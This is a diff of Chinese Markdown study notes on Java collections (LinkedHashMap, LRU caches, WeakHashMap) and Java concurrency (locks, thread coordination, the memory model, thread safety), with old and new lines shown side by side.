[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/ConcurrentHashMap.java) JDK 1.7 使用分段锁机制来实现并发更新操作,核心类为 Segment它继承自重入锁 ReentrantLock并发度与 Segment 数量相等。
JDK 1.7 使用分段锁机制来实现并发更新操作,核心类为 Segment它继承自重入锁 ReentrantLock并发程度与 Segment 数量相等。
JDK 1.8 使用了 CAS 操作来支持更高的并发度,在 CAS 操作失败时使用内置锁 synchronized。 JDK 1.8 使用了 CAS 操作来支持更高的并发度,在 CAS 操作失败时使用内置锁 synchronized。
@ -829,18 +906,283 @@ JDK 1.8 使用了 CAS 操作来支持更高的并发度,在 CAS 操作失败
## LinkedHashMap ## LinkedHashMap
[LinkedHashMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/HashMap.java) ### 存储结构
## TreeMap 继承自 HashMap因此具有和 HashMap 一样的快速查找特性。
[TreeMap.java](https://github.com/CyC2018/JDK-Source-Code/tree/master/src/TreeMap.java) ```java
public class LinkedHashMap<K,V> extends HashMap<K,V> implements Map<K,V>
```
内部维护了一个双向链表,用来维护插入顺序或者 LRU 顺序。
```java
/**
* The head (eldest) of the doubly linked list.
*/
transient LinkedHashMap.Entry<K,V> head;
/**
* The tail (youngest) of the doubly linked list.
*/
transient LinkedHashMap.Entry<K,V> tail;
```
accessOrder 决定了顺序,默认为 false此时维护的是插入顺序。
```java
final boolean accessOrder;
```
LinkedHashMap 最重要的是以下用于维护顺序的函数,它们会在 put、get 等方法中调用。
```java
void afterNodeAccess(Node<K,V> p) { }
void afterNodeInsertion(boolean evict) { }
```
### afterNodeAccess()
当一个节点被访问时,如果 accessOrder 为 true则会将该节点移到链表尾部。也就是说指定为 LRU 顺序之后,在每次访问一个节点时,会将这个节点移到链表尾部,保证链表尾部是最近访问的节点,那么链表首部就是最近最久未使用的节点。
```java
void afterNodeAccess(Node<K,V> e) { // move node to last
LinkedHashMap.Entry<K,V> last;
if (accessOrder && (last = tail) != e) {
LinkedHashMap.Entry<K,V> p =
(LinkedHashMap.Entry<K,V>)e, b = p.before, a = p.after;
p.after = null;
if (b == null)
head = a;
else
b.after = a;
if (a != null)
a.before = b;
else
last = b;
if (last == null)
head = p;
else {
p.before = last;
last.after = p;
}
tail = p;
++modCount;
}
}
```
### afterNodeInsertion()
在 put 等操作之后执行,当 removeEldestEntry() 方法返回 true 时会移除最晚的节点,也就是链表首部节点 first。
evict 只有在构建 Map 的时候才为 false在这里为 true。
```java
void afterNodeInsertion(boolean evict) { // possibly remove eldest
LinkedHashMap.Entry<K,V> first;
if (evict && (first = head) != null && removeEldestEntry(first)) {
K key = first.key;
removeNode(hash(key), key, null, false, true);
}
}
```
removeEldestEntry() 默认为 false如果需要让它为 true需要继承 LinkedHashMap 并且覆盖这个方法的实现,这在实现 LRU 的缓存中特别有用,通过移除最近最久未使用的节点,从而保证缓存空间足够,并且缓存的数据都是热点数据。
```java
protected boolean removeEldestEntry(Map.Entry<K,V> eldest) {
return false;
}
```
### LRU 缓存
以下是使用 LinkedHashMap 实现的一个 LRU 缓存:
- 设定最大缓存空间 MAX_ENTRIES 为 3
- 使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true开启 LRU 顺序;
- 覆盖 removeEldestEntry() 方法实现,在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。
```java
class LRUCache<K, V> extends LinkedHashMap<K, V> {
private static final int MAX_ENTRIES = 3;
protected boolean removeEldestEntry(Map.Entry eldest) {
return size() > MAX_ENTRIES;
}
LRUCache() {
super(MAX_ENTRIES, 0.75f, true);
}
}
```
```java
public static void main(String[] args) {
LRUCache<Integer, String> cache = new LRUCache<>();
cache.put(1, "a");
cache.put(2, "b");
cache.put(3, "c");
cache.get(1);
cache.put(4, "d");
System.out.println(cache.keySet());
}
```
```html
[3, 1, 4]
```
## WeakHashMap
### 存储结构
WeakHashMap 的 Entry 继承自 WeakReference被 WeakReference 关联的对象在下一次垃圾回收时会被回收。
WeakHashMap 主要用来实现缓存,通过使用 WeakHashMap 来引用缓存对象,由 JVM 对这部分缓存进行回收。
```java
private static class Entry<K,V> extends WeakReference<Object> implements Map.Entry<K,V>
```
### ConcurrentCache
Tomcat 中的 ConcurrentCache 使用了 WeakHashMap 来实现缓存功能。
ConcurrentCache 采取的是分代缓存:
- 经常使用的对象放入 eden 中eden 使用 ConcurrentHashMap 实现,不用担心会被回收(伊甸园);
- 不常用的对象放入 longtermlongterm 使用 WeakHashMap 实现,这些老对象会被垃圾收集器回收。
- 当调用 get() 方法时,会先从 eden 区获取,如果没有找到的话再到 longterm 获取,当从 longterm 获取到就把对象放入 eden 中,从而保证经常被访问的节点不容易被回收。
- 当调用 put() 方法时,如果 eden 的大小超过了 size那么就将 eden 中的所有对象都放入 longterm 中,利用虚拟机回收掉一部分不经常使用的对象。
```java
public final class ConcurrentCache<K, V> {
private final int size;
private final Map<K, V> eden;
private final Map<K, V> longterm;
public ConcurrentCache(int size) {
this.size = size;
this.eden = new ConcurrentHashMap<>(size);
this.longterm = new WeakHashMap<>(size);
}
public V get(K k) {
V v = this.eden.get(k);
if (v == null) {
v = this.longterm.get(k);
if (v != null)
this.eden.put(k, v);
}
return v;
}
public void put(K k, V v) {
if (this.eden.size() >= size) {
this.longterm.putAll(this.eden);
this.eden.clear();
}
this.eden.put(k, v);
}
}
```
# 附录
Collection 绘图源码:
```
@startuml
interface Collection
interface Set
interface List
interface Queue
interface SortSet
class HashSet
class LinkedHashSet
class TreeSet
class ArrayList
class Vector
class LinkedList
class PriorityQueue
Collection <|-- Set
Collection <|-- List
Collection <|-- Queue
Set <|-- SortSet
Set <|.. HashSet
Set <|.. LinkedHashSet
SortSet <|.. TreeSet
List <|.. ArrayList
List <|.. Vector
List <|.. LinkedList
Queue <|.. LinkedList
Queue <|.. PriorityQueue
@enduml
```
Map 绘图源码
```
@startuml
interface Map
interface SortMap
class HashTable
class LinkedHashMap
class HashMap
class TreeMap
Map <|.. HashTable
Map <|.. LinkedHashMap
Map <|.. HashMap
Map <|-- SortMap
SortMap <|.. TreeMap
@enduml
```
迭代器类图
```
@startuml
interface Iterable
interface Collection
interface List
interface Set
interface Queue
interface Iterator
interface ListIterator
Iterable <|-- Collection
Collection <|.. List
Collection <|.. Set
Collection <|-- Queue
Iterator <-- Iterable
Iterator <|.. ListIterator
ListIterator <-- List
@enduml
```
# 参考资料 # 参考资料
- Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002. - Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.
- [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php) - [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php)
- [Iterator 模式](https://openhome.cc/Gossip/DesignPattern/IteratorPattern.htm) - [Iterator 模式](https://openhome.cc/Gossip/DesignPattern/IteratorPattern.htm)
- [Java 8 系列之重新认识 HashMap](https://tech.meituan.com/java-hashmap.html) - [Java 8 系列之重新认识 HashMap](https://tech.meituan.com/java_hashmap.html)
- [What is difference between HashMap and Hashtable in Java?](http://javarevisited.blogspot.hk/2010/10/difference-between-hashmap-and.html) - [What is difference between HashMap and Hashtable in Java?](http://javarevisited.blogspot.hk/2010/10/difference-between-hashmap-and.html)
- [Java 集合之 HashMap](http://www.zhangchangle.com/2018/02/07/Java%E9%9B%86%E5%90%88%E4%B9%8BHashMap/) - [Java 集合之 HashMap](http://www.zhangchangle.com/2018/02/07/Java%E9%9B%86%E5%90%88%E4%B9%8BHashMap/)
- [The principle of ConcurrentHashMap analysis](http://www.programering.com/a/MDO3QDNwATM.html) - [The principle of ConcurrentHashMap analysis](http://www.programering.com/a/MDO3QDNwATM.html)

View File

@ -23,7 +23,8 @@
* [五、互斥同步](#五互斥同步) * [五、互斥同步](#五互斥同步)
* [synchronized](#synchronized) * [synchronized](#synchronized)
* [ReentrantLock](#reentrantlock) * [ReentrantLock](#reentrantlock)
* [synchronized 和 ReentrantLock 比较](#synchronized-和-reentrantlock-比较) * [比较](#比较)
* [使用选择](#使用选择)
* [六、线程之间的协作](#六线程之间的协作) * [六、线程之间的协作](#六线程之间的协作)
* [join()](#join) * [join()](#join)
* [wait() notify() notifyAll()](#wait-notify-notifyall) * [wait() notify() notifyAll()](#wait-notify-notifyall)
@ -43,9 +44,10 @@
* [内存模型三大特性](#内存模型三大特性) * [内存模型三大特性](#内存模型三大特性)
* [先行发生原则](#先行发生原则) * [先行发生原则](#先行发生原则)
* [十一、线程安全](#十一线程安全) * [十一、线程安全](#十一线程安全)
* [线程安全定义](#线程安全定义) * [不可变](#不可变)
* [线程安全分类](#线程安全分类) * [互斥同步](#互斥同步)
* [线程安全的实现方法](#线程安全的实现方法) * [非阻塞同步](#非阻塞同步)
* [无同步方案](#无同步方案)
* [十二、锁优化](#十二锁优化) * [十二、锁优化](#十二锁优化)
* [自旋锁](#自旋锁) * [自旋锁](#自旋锁)
* [锁消除](#锁消除) * [锁消除](#锁消除)
@ -95,7 +97,7 @@
睡眠和挂起是用来描述行为,而阻塞和等待用来描述状态。 睡眠和挂起是用来描述行为,而阻塞和等待用来描述状态。
阻塞和等待的区别在于,阻塞是被动的,它是在等待获取一个排它锁而等待是主动的,通过调用 Thread.sleep() 和 Object.wait() 等方法进入。 阻塞和等待的区别在于,阻塞是被动的,它是在等待获取一个排它锁而等待是主动的,通过调用 Thread.sleep() 和 Object.wait() 等方法进入。
| 进入方法 | 退出方法 | | 进入方法 | 退出方法 |
| --- | --- | | --- | --- |
@ -165,7 +167,9 @@ public static void main(String[] args) throws ExecutionException, InterruptedExc
## 继承 Thread 类 ## 继承 Thread 类
同样也是需要实现 run() 方法,并且最后也是调用 start() 方法来启动线程 同样也是需要实现 run() 方法,因为 Thread 类也实现了 Runable 接口
当调用 start() 方法启动一个线程时,虚拟机会将该线程放入就绪队列中等待被调度,当一个线程被调度时会执行该线程的 run() 方法。
```java ```java
public class MyThread extends Thread { public class MyThread extends Thread {
@ -193,7 +197,7 @@ public static void main(String[] args) {
## Executor ## Executor
Executor 管理多个异步任务的执行,而无需程序员显式地管理线程的生命周期。 Executor 管理多个异步任务的执行,而无需程序员显式地管理线程的生命周期。这里的异步是指多个任务的执行互不干扰,不需要进行同步操作。
主要有三种 Executor 主要有三种 Executor
@ -383,7 +387,7 @@ Java 提供了两种锁机制来控制多个线程对共享资源的互斥访问
**1. 同步一个代码块** **1. 同步一个代码块**
```java ```java
public void func () { public void func() {
synchronized (this) { synchronized (this) {
// ... // ...
} }
@ -392,7 +396,7 @@ public void func () {
它只作用于同一个对象,如果调用两个对象上的同步代码块,就不会进行同步。 它只作用于同一个对象,如果调用两个对象上的同步代码块,就不会进行同步。
对于以下代码,使用 ExecutorService 执行了两个线程(这两个线程使用 Lambda 创建),由于调用的是同一个对象的同步代码块,因此这两个线程会进行同步,当一个线程进入同步语句块时,另一个线程就必须等待。 对于以下代码,使用 ExecutorService 执行了两个线程,由于调用的是同一个对象的同步代码块,因此这两个线程会进行同步,当一个线程进入同步语句块时,另一个线程就必须等待。
```java ```java
public class SynchronizedExample { public class SynchronizedExample {
@ -445,7 +449,7 @@ public synchronized void func () {
} }
``` ```
它和同步代码块一样,作用于同一个对象。 它和同步代码块一样,作用于同一个对象。
**3. 同步一个类** **3. 同步一个类**
@ -457,7 +461,7 @@ public void func() {
} }
``` ```
作用于整个类,也就是说两个线程调用同一个类的不同对象上的这种同步语句,也需要进行同步。 作用于整个类,也就是说两个线程调用同一个类的不同对象上的这种同步语句,也进行同步。
```java ```java
public class SynchronizedExample { public class SynchronizedExample {
@ -498,6 +502,8 @@ public synchronized static void fun() {
## ReentrantLock ## ReentrantLock
ReentrantLock 是 java.util.concurrentJ.U.C包中的锁。
```java ```java
public class LockExample { public class LockExample {
@ -529,21 +535,8 @@ public static void main(String[] args) {
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9
``` ```
ReentrantLock 是 java.util.concurrentJ.U.C包中的锁相比于 synchronized它多了以下高级功能
**1. 等待可中断** ## 比较
当持有锁的线程长期不释放锁的时候,正在等待的线程可以选择放弃等待,改为处理其他事情,可中断特性对处理执行时间非常长的同步块很有帮助。
**2. 可实现公平锁**
公平锁是指多个线程在等待同一个锁时必须按照申请锁的时间顺序来依次获得锁而非公平锁则不保证这一点在锁被释放时任何一个等待锁的线程都有机会获得锁。synchronized 中的锁是非公平的ReentrantLock 默认情况下也是非公平的,但可以通过带布尔值的构造函数要求使用公平锁。
**3. 锁绑定多个条件**
一个 ReentrantLock 对象可以同时绑定多个 Condition 对象,而在 synchronized 中,锁对象的 wait() 和 notify() 或 notifyAll() 方法可以实现一个隐含的条件,如果要和多于一个的条件关联的时候,就不得不额外地添加一个锁,而 ReentrantLock 则无须这样做,只需要多次调用 newCondition() 方法即可。
## synchronized 和 ReentrantLock 比较
**1. 锁的实现** **1. 锁的实现**
@ -551,13 +544,25 @@ synchronized 是 JVM 实现的,而 ReentrantLock 是 JDK 实现的。
**2. 性能** **2. 性能**
从性能上来看,新版本 Java 对 synchronized 进行了很多优化,例如自旋锁等。目前来看它和 ReentrantLock 的性能基本持平了,因此性能因素不再是选择 ReentrantLock 的理由。synchronized 有更大的性能优化空间,应该优先考虑 synchronized 新版本 Java 对 synchronized 进行了很多优化,例如自旋锁等synchronized 与 ReentrantLock 大致相同
**3. 功能** **3. 等待可中断**
ReentrantLock 多了一些高级功能 当持有锁的线程长期不释放锁的时候,正在等待的线程可以选择放弃等待,改为处理其他事情
**4. 使用选择** ReentrantLock 可中断,而 synchronized 不行。
**4. 公平锁**
公平锁是指多个线程在等待同一个锁时,必须按照申请锁的时间顺序来依次获得锁。
synchronized 中的锁是非公平的ReentrantLock 默认情况下也是非公平的,但是也可以是公平的。
**5. 锁绑定多个条件**
一个 ReentrantLock 可以同时绑定多个 Condition 对象。
## 使用选择
除非需要使用 ReentrantLock 的高级功能,否则优先使用 synchronized。这是因为 synchronized 是 JVM 实现的一种锁机制JVM 原生地支持它,而 ReentrantLock 不是所有的 JDK 版本都支持。并且使用 synchronized 不用担心没有释放锁而导致死锁问题,因为 JVM 会确保锁的释放。 除非需要使用 ReentrantLock 的高级功能,否则优先使用 synchronized。这是因为 synchronized 是 JVM 实现的一种锁机制JVM 原生地支持它,而 ReentrantLock 不是所有的 JDK 版本都支持。并且使用 synchronized 不用担心没有释放锁而导致死锁问题,因为 JVM 会确保锁的释放。
@ -567,9 +572,9 @@ ReentrantLock 多了一些高级功能。
## join() ## join()
在线程中调用另一个线程的 join() 方法,会将当前线程挂起,而不是忙等待, 直到目标线程结束。 在线程中调用另一个线程的 join() 方法,会将当前线程挂起,而不是忙等待,直到目标线程结束。
对于以下代码,虽然 b 线程先启动,但是因为在 b 线程中调用了 a 线程的 join() 方法,因此 b 线程会等待 a 线程结束才继续执行,因此最后能够保证 a 线程的输出先 b 线程的输出。 对于以下代码,虽然 b 线程先启动,但是因为在 b 线程中调用了 a 线程的 join() 方法b 线程会等待 a 线程结束才继续执行,因此最后能够保证 a 线程的输出先 b 线程的输出。
```java ```java
public class JoinExample { public class JoinExample {
@ -633,6 +638,7 @@ B
```java ```java
public class WaitNotifyExample { public class WaitNotifyExample {
public synchronized void before() { public synchronized void before() {
System.out.println("before"); System.out.println("before");
notifyAll(); notifyAll();
@ -665,17 +671,20 @@ after
**wait() 和 sleep() 的区别** **wait() 和 sleep() 的区别**
1. wait() 是 Object 的方法,而 sleep() 是 Thread 的静态方法; - wait() 是 Object 的方法,而 sleep() 是 Thread 的静态方法;
2. wait() 会释放锁sleep() 不会。 - wait() 会释放锁sleep() 不会。
## await() signal() signalAll() ## await() signal() signalAll()
java.util.concurrent 类库中提供了 Condition 类来实现线程之间的协调,可以在 Condition 上调用 await() 方法使线程等待,其它线程调用 signal() 或 signalAll() 方法唤醒等待的线程。相比于 wait() 这种等待方式await() 可以指定等待的条件,因此更加灵活。 java.util.concurrent 类库中提供了 Condition 类来实现线程之间的协调,可以在 Condition 上调用 await() 方法使线程等待,其它线程调用 signal() 或 signalAll() 方法唤醒等待的线程。
相比于 wait() 这种等待方式await() 可以指定等待的条件,因此更加灵活。
使用 Lock 来获取一个 Condition 对象。 使用 Lock 来获取一个 Condition 对象。
```java ```java
public class AwaitSignalExample { public class AwaitSignalExample {
private Lock lock = new ReentrantLock(); private Lock lock = new ReentrantLock();
private Condition condition = lock.newCondition(); private Condition condition = lock.newCondition();
@ -757,15 +766,31 @@ run..run..run..run..run..run..run..run..run..run..end
用来控制多个线程互相等待,只有当多个线程都到达时,这些线程才会继续执行。 用来控制多个线程互相等待,只有当多个线程都到达时,这些线程才会继续执行。
和 CountdownLatch 相似,都是通过维护计数器来实现的。但是它的计数器是递增的,每次执行 await() 方法之后计数器会 1直到计数器的值和设置的值相等,等待的所有线程才继续执行。和 CountdownLatch 的另一个区别是CyclicBarrier 的计数器可以循环使用,所以它才叫做循环屏障。 和 CountdownLatch 相似,都是通过维护计数器来实现的。线程执行 await() 方法之后计数器会 1并进行等待,直到计数器为 0所有调用 awati() 方法而在等待的线程才继续执行。
下图应该从下往上看才正确 CyclicBarrier 和 CountdownLatch 的一个区别是CyclicBarrier 的计数器通过调用 reset() 方法可以循环使用,所以它才叫做循环屏障
CyclicBarrier 有两个构造函数,其中 parties 指示计数器的初始值barrierAction 在所有线程都到达屏障的时候会执行一次。
```java
public CyclicBarrier(int parties, Runnable barrierAction) {
if (parties <= 0) throw new IllegalArgumentException();
this.parties = parties;
this.count = parties;
this.barrierCommand = barrierAction;
}
public CyclicBarrier(int parties) {
this(parties, null);
}
```
<div align="center"> <img src="../pics//CyclicBarrier.png" width=""/> </div><br> <div align="center"> <img src="../pics//CyclicBarrier.png" width=""/> </div><br>
```java ```java
public class CyclicBarrierExample { public class CyclicBarrierExample {
public static void main(String[] args) throws InterruptedException {
public static void main(String[] args) {
final int totalThread = 10; final int totalThread = 10;
CyclicBarrier cyclicBarrier = new CyclicBarrier(totalThread); CyclicBarrier cyclicBarrier = new CyclicBarrier(totalThread);
ExecutorService executorService = Executors.newCachedThreadPool(); ExecutorService executorService = Executors.newCachedThreadPool();
@ -774,9 +799,7 @@ public class CyclicBarrierExample {
System.out.print("before.."); System.out.print("before..");
try { try {
cyclicBarrier.await(); cyclicBarrier.await();
} catch (InterruptedException e) { } catch (InterruptedException | BrokenBarrierException e) {
e.printStackTrace();
} catch (BrokenBarrierException e) {
e.printStackTrace(); e.printStackTrace();
} }
System.out.print("after.."); System.out.print("after..");
@ -793,7 +816,7 @@ before..before..before..before..before..before..before..before..before..before..
## Semaphore ## Semaphore
Semaphore 就是操作系统中的信号量,可以控制对互斥资源的访问线程数。 Semaphore 类似于操作系统中的信号量,可以控制对互斥资源的访问线程数。
<div align="center"> <img src="../pics//Semaphore.png" width=""/> </div><br> <div align="center"> <img src="../pics//Semaphore.png" width=""/> </div><br>
@ -801,6 +824,7 @@ Semaphore 就是操作系统中的信号量,可以控制对互斥资源的访
```java ```java
public class SemaphoreExample { public class SemaphoreExample {
public static void main(String[] args) { public static void main(String[] args) {
final int clientCount = 3; final int clientCount = 3;
final int totalRequestCount = 10; final int totalRequestCount = 10;
@ -841,10 +865,11 @@ public class FutureTask<V> implements RunnableFuture<V>
public interface RunnableFuture<V> extends Runnable, Future<V> public interface RunnableFuture<V> extends Runnable, Future<V>
``` ```
当一个计算任务需要执行很长时间,那么就可以用 FutureTask 来封装这个任务,用一个线程去执行该任务,然后其它线程继续执行其它任务。当需要该任务的计算结果时,再通过 FutureTask 的 get() 方法获取 FutureTask 可用于异步获取执行结果或取消执行任务的场景。当一个计算任务需要执行很长时间,那么就可以用 FutureTask 来封装这个任务,主线程在完成自己的任务之后再去获取结果
```java ```java
public class FutureTaskExample { public class FutureTaskExample {
public static void main(String[] args) throws ExecutionException, InterruptedException { public static void main(String[] args) throws ExecutionException, InterruptedException {
FutureTask<Integer> futureTask = new FutureTask<Integer>(new Callable<Integer>() { FutureTask<Integer> futureTask = new FutureTask<Integer>(new Callable<Integer>() {
@Override @Override
@ -884,10 +909,10 @@ other task is running...
java.util.concurrent.BlockingQueue 接口有以下阻塞队列的实现: java.util.concurrent.BlockingQueue 接口有以下阻塞队列的实现:
- **FIFO 队列** LinkedBlockingQueue、ArrayListBlockingQueue固定长度 - **FIFO 队列** LinkedBlockingQueue、ArrayBlockingQueue固定长度
- **优先级队列** PriorityBlockingQueue - **优先级队列** PriorityBlockingQueue
提供了阻塞的 take() 和 put() 方法:如果队列为空 take() 将阻塞,直到队列中有内容;如果队列为满 put() 将阻塞,到队列有空闲位置。 提供了阻塞的 take() 和 put() 方法:如果队列为空 take() 将阻塞,直到队列中有内容;如果队列为满 put() 将阻塞,到队列有空闲位置。
**使用 BlockingQueue 实现生产者消费者问题** **使用 BlockingQueue 实现生产者消费者问题**
@ -950,7 +975,8 @@ produce..produce..consume..consume..produce..consume..produce..consume..produce.
```java ```java
public class ForkJoinExample extends RecursiveTask<Integer> { public class ForkJoinExample extends RecursiveTask<Integer> {
private final int threhold = 5;
private final int threshold = 5;
private int first; private int first;
private int last; private int last;
@ -962,7 +988,7 @@ public class ForkJoinExample extends RecursiveTask<Integer> {
@Override @Override
protected Integer compute() { protected Integer compute() {
int result = 0; int result = 0;
if (last - first <= threhold) { if (last - first <= threshold) {
// 任务足够小则直接计算 // 任务足够小则直接计算
for (int i = first; i <= last; i++) { for (int i = first; i <= last; i++) {
result += i; result += i;
@ -1004,7 +1030,7 @@ ForkJoinPool 实现了工作窃取算法来提高 CPU 的利用率。每个线
如果多个线程对同一个共享数据进行访问而不采取同步操作的话,那么操作的结果是不一致的。 如果多个线程对同一个共享数据进行访问而不采取同步操作的话,那么操作的结果是不一致的。
以下代码演示了 1000 个线程同时对 cnt 执行自增操作,操作结束之后它的值为 997 而不是 1000。 以下代码演示了 1000 个线程同时对 cnt 执行自增操作,操作结束之后它的值有可能小于 1000。
```java ```java
public class ThreadUnsafeExample { public class ThreadUnsafeExample {
@ -1082,11 +1108,11 @@ Java 内存模型定义了 8 个操作来完成主内存和工作内存的交互
Java 内存模型保证了 read、load、use、assign、store、write、lock 和 unlock 操作具有原子性,例如对一个 int 类型的变量执行 assign 赋值操作,这个操作就是原子性的。但是 Java 内存模型允许虚拟机将没有被 volatile 修饰的 64 位数据longdouble的读写操作划分为两次 32 位的操作来进行,即 load、store、read 和 write 操作可以不具备原子性。 Java 内存模型保证了 read、load、use、assign、store、write、lock 和 unlock 操作具有原子性,例如对一个 int 类型的变量执行 assign 赋值操作,这个操作就是原子性的。但是 Java 内存模型允许虚拟机将没有被 volatile 修饰的 64 位数据longdouble的读写操作划分为两次 32 位的操作来进行,即 load、store、read 和 write 操作可以不具备原子性。
有一个错误认识就是int 等原子性的变量在多线程环境中不会出现线程安全问题。前面的线程不安全示例代码中cnt 变量属于 int 类型变量1000 个线程对它进行自增操作之后,得到的值为 997 而不是 1000。 有一个错误认识就是int 等原子性的类型在多线程环境中不会出现线程安全问题。前面的线程不安全示例代码中cnt 属于 int 类型变量1000 个线程对它进行自增操作之后,得到的值为 997 而不是 1000。
为了方便讨论,将内存间的交互操作简化为 3 个load、assign、store。 为了方便讨论,将内存间的交互操作简化为 3 个load、assign、store。
下图演示了两个线程同时对 cnt 变量进行操作load、assign、store 这一系列操作整体上看不具备原子性,那么在 T1 修改 cnt 并且还没有将修改后的值写入主内存T2 依然可以读入该变量的值。可以看出,这两个线程虽然执行了两次自增运算,但是主内存中 cnt 的值最后为 1 而不是 2。因此对 int 类型读写操作满足原子性只是说明 load、assign、store 这些单个操作具备原子性。 下图演示了两个线程同时对 cnt 进行操作load、assign、store 这一系列操作整体上看不具备原子性,那么在 T1 修改 cnt 并且还没有将修改后的值写入主内存T2 依然可以读入值。可以看出,这两个线程虽然执行了两次自增运算,但是主内存中 cnt 的值最后为 1 而不是 2。因此对 int 类型读写操作满足原子性只是说明 load、assign、store 这些单个操作具备原子性。
<div align="center"> <img src="../pics//ef8eab00-1d5e-4d99-a7c2-d6d68ea7fe92.png" width=""/> </div><br> <div align="center"> <img src="../pics//ef8eab00-1d5e-4d99-a7c2-d6d68ea7fe92.png" width=""/> </div><br>
@ -1132,7 +1158,7 @@ public static void main(String[] args) throws InterruptedException {
1000 1000
``` ```
除了使用原子类之外,也可以使用 synchronized 互斥锁来保证操作的完整性,它对应的内存间交互操作为lock 和 unlock在虚拟机实现上对应的字节码指令为 monitorenter 和 monitorexit。 除了使用原子类之外,也可以使用 synchronized 互斥锁来保证操作的原子性。它对应的内存间交互操作为lock 和 unlock在虚拟机实现上对应的字节码指令为 monitorenter 和 monitorexit。
```java ```java
public class AtomicSynchronizedExample { public class AtomicSynchronizedExample {
@ -1174,15 +1200,17 @@ public static void main(String[] args) throws InterruptedException {
可见性指当一个线程修改了共享变量的值其它线程能够立即得知这个修改。Java 内存模型是通过在变量修改后将新值同步回主内存,在变量读取前从主内存刷新变量值来实现可见性的。 可见性指当一个线程修改了共享变量的值其它线程能够立即得知这个修改。Java 内存模型是通过在变量修改后将新值同步回主内存,在变量读取前从主内存刷新变量值来实现可见性的。
volatile 可保证可见性。synchronized 也能够保证可见性,对一个变量执行 unlock 操作之前必须把变量值同步回主内存。final 关键字也能保证可见性:被 final 关键字修饰的字段在构造器中一旦初始化完成,并且没有发生 this 逃逸(其它线程可以通过 this 引用访问到初始化了一半的对象),那么其它线程就能看见 final 字段的值。 主要有有三种实现可见性的方式:
对前面的线程不安全示例中的 cnt 变量用 volatile 修饰,不能解决线程不安全问题,因为 volatile 并不能保证操作的原子性。 - volatile
- synchronized对一个变量执行 unlock 操作之前,必须把变量值同步回主内存。
- final被 final 关键字修饰的字段在构造器中一旦初始化完成,并且没有发生 this 逃逸(其它线程通过 this 引用访问到初始化了一半的对象),那么其它线程就能看见 final 字段的值。
对前面的线程不安全示例中的 cnt 变量使用 volatile 修饰,不能解决线程不安全问题,因为 volatile 并不能保证操作的原子性。
### 3. 有序性 ### 3. 有序性
有序性是指:在本线程内观察,所有操作都是有序的。在一个线程观察另一个线程,所有操作都是无序的,无序是因为发生了指令重排序。 有序性是指:在本线程内观察,所有操作都是有序的。在一个线程观察另一个线程,所有操作都是无序的,无序是因为发生了指令重排序。在 Java 内存模型中,允许编译器和处理器对指令进行重排序,重排序过程不会影响到单线程程序的执行,却会影响到多线程并发执行的正确性。
在 Java 内存模型中,允许编译器和处理器对指令进行重排序,重排序过程不会影响到单线程程序的执行,却会影响到多线程并发执行的正确性。
volatile 关键字通过添加内存屏障的方式来禁止指令重排,即重排序时不能把后面的指令放到内存屏障之前。 volatile 关键字通过添加内存屏障的方式来禁止指令重排,即重排序时不能把后面的指令放到内存屏障之前。
@ -1192,8 +1220,6 @@ volatile 关键字通过添加内存屏障的方式来禁止指令重排,即
上面提到了可以用 volatile 和 synchronized 来保证有序性。除此之外JVM 还规定了先行发生原则,让一个操作无需控制就能先于另一个操作完成。 上面提到了可以用 volatile 和 synchronized 来保证有序性。除此之外JVM 还规定了先行发生原则,让一个操作无需控制就能先于另一个操作完成。
主要有以下这些原则:
### 1. 单一线程原则 ### 1. 单一线程原则
> Single Thread rule > Single Thread rule
@ -1230,7 +1256,7 @@ Thread 对象的 start() 方法调用先行发生于此线程的每一个动作
> Thread Join Rule > Thread Join Rule
join() 方法返回先行发生于 Thread 对象的结束。 Thread 对象的结束先行发生于 join() 方法返回
<div align="center"> <img src="../pics//thread-join-rule.png" width=""/> </div><br> <div align="center"> <img src="../pics//thread-join-rule.png" width=""/> </div><br>
@ -1238,7 +1264,7 @@ join() 方法返回先行发生于 Thread 对象的结束。
> Thread Interruption Rule > Thread Interruption Rule
对线程 interrupt() 方法的调用先行发生于被中断线程的代码检测到中断事件的发生,可以通过 Thread.interrupted() 方法检测到是否有中断发生。 对线程 interrupt() 方法的调用先行发生于被中断线程的代码检测到中断事件的发生,可以通过 interrupted() 方法检测到是否有中断发生。
### 7. 对象终结规则 ### 7. 对象终结规则
@ -1254,24 +1280,20 @@ join() 方法返回先行发生于 Thread 对象的结束。
# 十一、线程安全 # 十一、线程安全
## 线程安全定义 多个线程不管以何种方式访问某个类,并在在主调代码中不需要进行同步,都能表现正确的行为。
一个类在可以被多个线程安全调用时就是线程安全的。 线程安全有以下几种实现方式:
## 线程安全分类 ## 不可变
线程安全不是一个非真即假的命题,可以将共享数据按照安全程度的强弱顺序分成以下五类:不可变、绝对线程安全、相对线程安全、线程兼容和线程对立 不可变Immutable的对象一定是线程安全的不需要再采取任何的线程安全保障措施。只要一个不可变的对象被正确地构建出来永远也不会看到它在多个线程之中处于不一致的状态。多线程环境下应当尽量使对象成为不可变来满足线程安全
### 1. 不可变
不可变Immutable的对象一定是线程安全的无论是对象的方法实现还是方法的调用者都不需要再采取任何的线程安全保障措施只要一个不可变的对象被正确地构建出来那其外部的可见状态永远也不会改变永远也不会看到它在多个线程之中处于不一致的状态。
不可变的类型: 不可变的类型:
- final 关键字修饰的基本数据类型 - final 关键字修饰的基本数据类型
- String - String
- 枚举类型 - 枚举类型
- Number 部分子类,如 Long 和 Double 等数值包装类型BigInteger 和 BigDecimal 等大数据类型。但同为 Number 的子类型的原子类 AtomicInteger 和 AtomicLong 则并非不可变的。 - Number 部分子类,如 Long 和 Double 等数值包装类型BigInteger 和 BigDecimal 等大数据类型。但同为 Number 的原子类 AtomicInteger 和 AtomicLong 则可变的。
对于集合类型,可以使用 Collections.unmodifiableXXX() 方法来获取一个不可变的集合。 对于集合类型,可以使用 Collections.unmodifiableXXX() 方法来获取一个不可变的集合。
@ -1299,104 +1321,29 @@ public V put(K key, V value) {
} }
``` ```
